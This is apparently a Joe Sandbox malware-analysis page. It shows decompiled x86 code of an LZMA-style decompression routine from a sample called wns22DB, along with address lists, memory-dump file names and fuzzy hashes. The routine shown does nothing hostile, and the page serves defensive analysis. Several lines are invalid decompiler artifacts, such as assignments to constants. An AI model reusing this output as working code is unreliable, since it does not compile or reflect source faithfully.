											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x00407128
0x00407128
0x0040712c
0x00407151
0x0040715b
0x00000000
0x0040712e
0x0040712e
0x00407131
0x00407135
0x00407138
0x0040713b
0x0040713f
0x0040713f
0x00407142
0x0040721c
0x0040721c
0x00407223
0x00407223
0x00407226
0x0040722d
0x0040725a
0x0040725e
0x004072be
0x004072c1
0x004072c6
0x004072c7
0x004072c9
0x004072cb
0x004072ce
0x004071da
0x004071da
0x004071da
0x00406976
0x00406976
0x00406976
0x0040697f
0x00000000
0x00000000
0x00406985
0x00000000
0x00406990
0x00000000
0x00000000
0x00406999
0x0040699c
0x0040699f
0x004069a3
0x00000000
0x00000000
0x004069a9
0x004069ac
0x004069ae
0x004069af
0x004069b2
0x004069b4
0x004069b5
0x004069b7
0x004069ba
0x004069bf
0x004069c4
0x004069cd
0x004069e0
0x004069e3
0x004069ef
0x00406a17
0x00406a19
0x00406a27
0x00406a27
0x00406a2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a1b
0x00406a1b
0x00406a1e
0x00406a1f
0x00406a1f
0x00000000
0x00406a1b
0x004069f5
0x004069fa
0x004069fa
0x00406a03
0x00406a0b
0x00406a0e
0x00000000
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00000000
0x00406a31
0x00406a31
0x00406a35
0x004072e1
0x00000000
0x004072e1
0x00406a3e
0x00406a4e
0x00406a51
0x00406a54
0x00406a54
0x00406a54
0x00406a57
0x00406a5b
0x00000000
0x00000000
0x00406a5d
0x00406a63
0x00406a8d
0x00406a93
0x00406a9a
0x00000000
0x00406a9a
0x00406a69
0x00406a6c
0x00406a71
0x00406a71
0x00406a7c
0x00406a84
0x00406a87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406acc
0x00406ad2
0x00406ad5
0x00406ae2
0x00406aea
0x00000000
0x00000000
0x00406aa1
0x00406aa1
0x00406aa5
0x004072f0
0x00000000
0x004072f0
0x00406ab1
0x00406abc
0x00406abc
0x00406abc
0x00406abf
0x00406ac2
0x00406ac5
0x00406aca
0x00000000
0x00000000
0x00000000
0x00000000
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071ad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004071af
0x004071b3
0x00407362
0x00000000
0x00407362
0x004071bf
0x004071c6
0x004071ce
0x004071d1
0x004071d4
0x004071d4
0x00000000
0x00000000
0x00406af2
0x00406af4
0x00406af7
0x00406b68
0x00406b6b
0x00406b6e
0x00406b75
0x00406b7f
0x00000000
0x00406b7f
0x00406af9
0x00406afd
0x00406b00
0x00406b02
0x00406b05
0x00406b08
0x00406b0a
0x00406b0d
0x00406b0f
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b25
0x00406b28
0x00406b2f
0x00406b33
0x00406b3b
0x00406b3b
0x00406b3b
0x00406b35
0x00406b35
0x00406b35
0x00406b2a
0x00406b2a
0x00406b2a
0x00406b3f
0x00406b42
0x00406b60
0x00406b62
0x00000000
0x00406b44
0x00406b44
0x00406b47
0x00406b4a
0x00406b4d
0x00406b4f
0x00406b4f
0x00406b4f
0x00406b52
0x00406b55
0x00406b57
0x00406b58
0x00406b5b
0x00000000
0x00406b5b
0x00000000
0x00406d91
0x00406d95
0x00406db3
0x00406db6
0x00406dbd
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dce
0x00406dd5
0x00406dd6
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de1
0x00406de6
0x00000000
0x00406de6
0x00406d97
0x00406d9a
0x00406d9d
0x00406da7
0x00000000
0x00000000
0x00406dfb
0x00406dff
0x00406e22
0x00406e25
0x00406e28
0x00406e32
0x00406e01
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e17
0x00406e1a
0x00406e1a
0x00000000
0x00000000
0x00406e3e
0x00406e42
0x00000000
0x00000000
0x00406e48
0x00406e4c
0x00000000
0x00000000
0x00406e52
0x00406e54
0x00406e58
0x00406e58
0x00406e5b
0x00406e5f
0x00000000
0x00000000
0x00406eaf
0x00406eb3
0x00406eba
0x00406ebd
0x00406ec0
0x00406eca
0x00000000
0x00406eca
0x00406eb5
0x00000000
0x00000000
0x00406ed6
0x00406eda
0x00406ee1
0x00406ee4
0x00406ee7
0x00406edc
0x00406edc
0x00406edc
0x00406eea
0x00406eed
0x00406ef0
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406ef9
0x00406efc
0x00406f03
0x00406f08
0x00000000
0x00000000
0x00406f96
0x00406f96
0x00406f9a
0x00407338
0x00000000
0x00407338
0x00406fa0
0x00406fa3
0x00406fa6
0x00406faa
0x00406fad
0x00406fb3
0x00406fb5
0x00406fb5
0x00406fb5
0x00406fb8
0x00406fbb
0x00000000
0x00000000
0x00406b8b
0x00406b8b
0x00406b8f
0x004072fc
0x00000000
0x004072fc
0x00406b95
0x00406b98
0x00406b9b
0x00406b9f
0x00406ba2
0x00406ba8
0x00406baa
0x00406baa
0x00406baa
0x00406bad
0x00406bb0
0x00406bb0
0x00406bb3
0x00406bb6
0x00000000
0x00000000
0x00406bbc
0x00406bc2
0x00000000
0x00000000
0x00406bc8
0x00406bc8
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bd9
0x00406bdc
0x00406bde
0x00406be4
0x00406be7
0x00406bea
0x00406bed
0x00406bf0
0x00406bf3
0x00406bf6
0x00406c12
0x00406c15
0x00406c18
0x00406c1b
0x00406c22
0x00406c26
0x00406c28
0x00406c2c
0x00406bf8
0x00406bf8
0x00406bfc
0x00406c04
0x00406c09
0x00406c0b
0x00406c0d
0x00406c0d
0x00406c2f
0x00406c36
0x00406c39
0x00000000
0x00406c3f
0x00000000
0x00406c3f
0x00000000
0x00406c44
0x00406c44
0x00406c48
0x00407308
0x00000000
0x00407308
0x00406c4e
0x00406c51
0x00406c54
0x00406c58
0x00406c5b
0x00406c61
0x00406c63
0x00406c63
0x00406c63
0x00406c66
0x00406c69
0x00406c69
0x00406c69
0x00406c6f
0x00000000
0x00000000
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c8f
0x00406ca7
0x00406caa
0x00406cad
0x00406cb0
0x00406cb0
0x00406cb3
0x00406cb7
0x00406cb9
0x00406c91
0x00406c91
0x00406c99
0x00406c9e
0x00406ca0
0x00406ca2
0x00406ca2
0x00406cbc
0x00406cc3
0x00406cc6
0x00000000
0x00406cc8
0x00000000
0x00406cc8
0x00406cc6
0x00406ccd
0x00406ccd
0x00406ccd
0x00406ccd
0x00000000
0x00000000
0x00406d08
0x00406d08
0x00406d0c
0x00407314
0x00000000
0x00407314
0x00406d12
0x00406d15
0x00406d18
0x00406d1c
0x00406d1f
0x00406d25
0x00406d27
0x00406d27
0x00406d27
0x00406d2a
0x00406d2d
0x00406d2d
0x00406d33
0x00406cd1
0x00406cd1
0x00406cd4
0x00000000
0x00406cd4
0x00406d35
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d44
0x00406d47
0x00406d4a
0x00406d4d
0x00406d50
0x00406d53
0x00406d6b
0x00406d6e
0x00406d71
0x00406d74
0x00406d74
0x00406d77
0x00406d7b
0x00406d7d
0x00406d55
0x00406d55
0x00406d5d
0x00406d62
0x00406d64
0x00406d66
0x00406d66
0x00406d80
0x00406d87
0x00406d8a
0x00000000
0x00406d8c
0x00000000
0x00406d8c
0x00000000
0x00407019
0x00407019
0x0040701d
0x00407344
0x00000000
0x00407344
0x00407023
0x00407026
0x00407029
0x0040702d
0x00407030
0x00407036
0x00407038
0x00407038
0x00407038
0x0040703b
0x00000000
0x00000000
0x00406de9
0x00406de9
0x00406dec
0x0040715e
0x0040715e
0x00000000
0x00000000
0x00000000
0x00000000
0x004071e5
0x004071e9
0x00407207
0x00407207
0x00407207
0x0040720e
0x00407215
0x00000000
0x00407215
0x004071eb
0x004071ee
0x004071f1
0x004071f4
0x004071fb
0x00000000
0x00000000
0x004072d6
0x004072d9
0x004071da
0x004071da
0x00000000
0x00000000
0x00406f10
0x00406f12
0x00406f19
0x00406f1a
0x00406f1c
0x00406f1f
0x00000000
0x00000000
0x00406f27
0x00406f2a
0x00406f2d
0x00406f2f
0x00406f31
0x00406f31
0x00406f32
0x00406f35
0x00406f3c
0x00406f3f
0x00406f4d
0x00000000
0x00000000
0x00000000
0x00000000
0x00407232
0x00407232
0x00407236
0x0040736e
0x00000000
0x0040736e
0x0040723c
0x0040723f
0x00407242
0x00407246
0x00407249
0x0040724f
0x00407251
0x00407251
0x00407251
0x00407254
0x00407257
0x00407257
0x00407257
0x00407257
0x00000000
0x00000000
0x00406f55
0x00406f58
0x00406f8e
0x004070be
0x004070be
0x004070be
0x004070be
0x004070c1
0x004070c1
0x004070c4
0x004070c6
0x00407350
0x00000000
0x00407350
0x004070cc
0x004070cf
0x00000000
0x00000000
0x004070d5
0x004070d9
0x004070dc
0x004070dc
0x004070dc
0x00000000
0x004070dc
0x00406f5a
0x00406f5c
0x00406f5e
0x00406f60
0x00406f63
0x00406f64
0x00406f66
0x00406f68
0x00406f6b
0x00406f6e
0x00406f84
0x00406f89
0x00406fc1
0x00406fc1
0x00406fc5
0x00406ff1
0x00406ff3
0x00406ffa
0x00406ffd
0x00407000
0x00407000
0x00407005
0x00407005
0x00407007
0x0040700a
0x00407011
0x00407014
0x00407041
0x00407041
0x00407044
0x00407047
0x004070bb
0x004070bb
0x004070bb
0x00000000
0x004070bb
0x00407049
0x0040704f
0x00407052
0x00407055
0x00407058
0x0040705b
0x0040705e
0x00407061
0x00407064
0x00407067
0x0040706a
0x00407083
0x00407085
0x00407088
0x00407089
0x0040708c
0x0040708e
0x00407091
0x00407093
0x00407095
0x00407098
0x0040709a
0x0040709d
0x004070a1
0x004070a3
0x004070a3
0x004070a4
0x004070a7
0x004070aa
0x0040706c
0x0040706c
0x00407074
0x00407079
0x0040707b
0x0040707e
0x0040707e
0x004070ad
0x004070b4
0x0040703e
0x0040703e
0x0040703e
0x0040703e
0x00000000
0x004070b6
0x00000000
0x004070b6
0x004070b4
0x00406fc7
0x00406fca
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fd7
0x00406fda
0x00406fdd
0x00406fdd
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fea
0x00406fbe
0x00406fbe
0x00406fbe
0x00406fbe
0x00000000
0x00406fec
0x00000000
0x00406fec
0x00406fea
0x00406f70
0x00406f73
0x00406f75
0x00406f78
0x00000000
0x00000000
0x00406cd7
0x00406cd7
0x00406cdb
0x00407320
0x00000000
0x00407320
0x00406ce1
0x00406ce4
0x00406ce7
0x00406cea
0x00406ced
0x00406cf0
0x00406cf3
0x00406cf5
0x00406cf8
0x00406cfb
0x00406cfe
0x00406d00
0x00406d00
0x00406d00
0x00000000
0x00000000
0x00406e62
0x00406e62
0x00406e66
0x0040732c
0x00000000
0x0040732c
0x00406e6c
0x00406e6f
0x00406e72
0x00406e75
0x00406e77
0x00406e77
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e83
0x00406e86
0x00406e89
0x00406e8a
0x00406e8c
0x00406e8c
0x00406e8c
0x00406e8f
0x00406e92
0x00406e95
0x00406e98
0x00406e98
0x00406e98
0x00406e9b
0x00406e9d
0x00406e9d
0x00000000
0x00000000
0x004070df
0x004070df
0x004070df
0x004070e3
0x00000000
0x00000000
0x004070e9
0x004070ec
0x004070ef
0x004070f2
0x004070f4
0x004070f4
0x004070f4
0x004070f7
0x004070fa
0x004070fd
0x00407100
0x00407103
0x00407106
0x00407107
0x00407109
0x00407109
0x00407109
0x0040710c
0x0040710f
0x00407112
0x00407115
0x00407118
0x0040711c
0x0040711e
0x00407121
0x00000000
0x00407123
0x00406ea0
0x00406ea0
0x00000000
0x00406ea0
0x00407121
0x00407356
0x00407378
0x0040737e
0x00407380
0x00407387
0x00407389
0x00407390
0x00407394
0x00000000
0x00406985
0x0040738d
0x0040738d
0x00000000
0x0040738d
0x004071da
0x00407260
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407272
0x00407275
0x00407278
0x0040727b
0x00407281
0x0040729a
0x0040729d
0x004072a0
0x004072a3
0x004072a7
0x004072a9
0x004072aa
0x004072ad
0x00407283
0x00407283
0x0040728b
0x00407290
0x00407292
0x00407295
0x00407295
0x004072b7
0x00000000
0x004072b9
0x00000000
0x004072b9
0x004072b7
0x00000000
0x0040712c

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406E3E() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M00407395))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8));
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
